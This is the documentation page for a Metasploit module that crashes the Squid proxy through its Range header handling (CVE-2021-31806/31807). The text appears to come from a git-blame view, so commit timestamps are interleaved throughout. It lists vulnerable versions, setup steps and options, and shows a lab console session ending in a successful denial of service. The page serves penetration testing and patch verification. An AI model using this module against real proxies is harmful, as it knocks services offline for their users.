2021-10-07 14:01:00 +02:00
## Vulnerable Application
2021-10-20 21:01:48 +02:00
This module exploits two vulnerabilities in the Squid Caching Proxy server and its
handling of cached pages and the `Range` HTTP header.
2021-10-07 14:01:00 +02:00
Due to the way Squid handles the HTTP request header `Range` , an assertion can be
caused due to a standard HTTP request. Once all of Squid's children workers have
asserted, a Denial of Service of the proxy is achieved.
Vulnerable versions of Squid include:
* 2.5.STABLE2-2.7.STABLE9.
* 3.0-4.1.4.
* 5.0.1-5.0.5.
Security bulletin from Squid: https://github.com/squid-cache/squid/security/advisories/GHSA-pxwq-f3qr-w2xf
## Verification Steps
1. Start msfconsole
2021-10-19 16:40:24 -04:00
2. use auxiliary/dos/http/squid_range_dos.rb`
3. Set `rhost
2021-10-07 14:01:00 +02:00
4. Set `rport`
5. run
## Options
2021-10-19 16:40:24 -04:00
### REQUEST_COUNT
2021-10-07 14:01:00 +02:00
2021-10-19 16:40:24 -04:00
REQUEST_COUNT is both the the number of HTTP requests which are sent to the server in
2022-12-30 12:29:14 -06:00
order to perform the actual Denial of Service (i.e. accepted requests by the server),
and the number of requests that are sent to confirm that the Squid host is actually
2021-10-07 14:01:00 +02:00
dead.
2021-10-20 21:01:48 +02:00
### CVE
This is the CVE that will be used to exploit the vulnerability.
The default setting is `CVE-2021-31806` , but `CVE-2021-31807` can also be chosen.
2021-10-07 14:01:00 +02:00
## Scenarios
2021-10-19 16:40:24 -04:00
In this scenario the target server is running on the same host as Metasploit (192.168.159.128).
2021-10-07 14:01:00 +02:00
```
2021-10-19 16:40:24 -04:00
msf6 > use auxiliary/dos/http/squid_range_dos i
msf6 auxiliary(dos/http/squid_range_dos) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 auxiliary(dos/http/squid_range_dos) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
2022-12-30 12:29:14 -06:00
msf6 auxiliary(dos/http/squid_range_dos) > show options
2021-10-07 14:01:00 +02:00
Module options (auxiliary/dos/http/squid_range_dos):
2021-10-19 16:40:24 -04:00
Name Current Setting Required Description
---- --------------- -------- -----------
2021-10-20 21:01:48 +02:00
CVE CVE-2021-31806 yes CVE to check/exploit (Accepted: CVE-2021-31806, CVE-2021-31807)
2021-10-19 16:40:24 -04:00
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REQUEST_COUNT 50 yes The number of requests to be sent, as well as the number of re-tries to confirm a dead host
2022-12-30 12:29:14 -06:00
RHOSTS 192.168.159.128 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
2021-10-19 16:40:24 -04:00
RPORT 3128 yes The target port (TCP)
SRVHOST 192.168.159.128 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
2021-10-07 14:01:00 +02:00
Auxiliary action:
Name Description
---- -----------
DOS Perform Denial of Service Against The Target
2021-10-19 16:40:24 -04:00
msf6 auxiliary(dos/http/squid_range_dos) > run
[*] Running module against 192.168.159.128
[*] Sending 50 DoS requests to 192.168.159.128:3128
[*] Using URL: http://192.168.159.128:8080/Sv2fFH3gmGeN4VC
2021-10-20 21:01:48 +02:00
[*] Sent first request to 192.168.159.128:3128
2021-10-19 16:40:24 -04:00
[*] Sent DoS request 1 to 192.168.159.128:3128
[*] Sent DoS request 2 to 192.168.159.128:3128
[*] Sent DoS request 3 to 192.168.159.128:3128
[*] Sent DoS request 4 to 192.168.159.128:3128
[*] Sent DoS request 5 to 192.168.159.128:3128
[+] DoS completely successful.
[*] Server stopped.
2021-10-07 14:01:00 +02:00
[*] Auxiliary module execution completed
2021-10-19 16:40:24 -04:00
msf6 auxiliary(dos/http/squid_range_dos) >
2021-10-07 14:01:00 +02:00
```
2022-12-30 12:29:14 -06:00
At this point, the target Squid server should be completely inaccessible: all children
2021-10-07 14:01:00 +02:00
workers should have exited, and the main process should have also shut down.